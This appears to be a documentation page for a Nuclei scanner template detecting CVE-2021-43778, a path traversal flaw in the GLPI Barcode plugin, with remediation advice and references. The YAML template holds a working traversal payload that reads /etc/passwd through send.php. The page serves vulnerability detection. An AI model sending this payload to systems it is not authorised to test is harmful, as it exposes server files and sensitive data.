GLPI plugin Barcode < 2.6.1 - Path Traversal Vulnerability.
ID: CVE-2021-43778
Severity: high
Author: cckuailong
Tags: cve,cve2021,glpi,lfi,plugin,traversal,glpi-project
Description
Section titled “Description”Barcode is a GLPI plugin for printing barcodes and QR codes. GLPI instances version 2.x prior to version 2.6.1 with the barcode plugin installed are vulnerable to a path traversal vulnerability.
YAML Source
Section titled “YAML Source”id: CVE-2021-43778
info: name: GLPI plugin Barcode < 2.6.1 - Path Traversal Vulnerability. author: cckuailong severity: high description: Barcode is a GLPI plugin for printing barcodes and QR codes. GLPI instances version 2.x prior to version 2.6.1 with the barcode plugin installed are vulnerable to a path traversal vulnerability. impact: | An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure. remediation: Upgrade to version 2.6.1 or later. Or, as a workaround, delete the `front/send.php` file. reference: - https://github.com/AK-blank/CVE-2021-43778 - https://nvd.nist.gov/vuln/detail/CVE-2021-43778 - https://github.com/pluginsGLPI/barcode/security/advisories/GHSA-2pjh-h828-wcw9 - https://github.com/pluginsGLPI/barcode/releases/tag/2.6.1 - https://github.com/pluginsGLPI/barcode/commit/428c3d9adfb446e8492b1c2b7affb3d34072ff46 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-43778 cwe-id: CWE-22 epss-score: 0.59414 epss-percentile: 0.97756 cpe: cpe:2.3:a:glpi-project:barcode:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: glpi-project product: barcode tags: cve,cve2021,glpi,lfi,plugin,traversal,glpi-project
http: - method: GET path: - "{{BaseURL}}/glpi/plugins/barcode/front/send.php?file=../../../../../../../../etc/passwd"
matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:"
- type: status status: - 200# digest: 4a0a0047304502205f818c594d0c8e53d9da8dbcc800f3bb03618407d98f1fdae3f71ca756e6278a022100add4cf5c9c31d72f4f949a4d3e9e0d4a8a71d569c87fb634092b09bc88973af1:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-43778.yaml"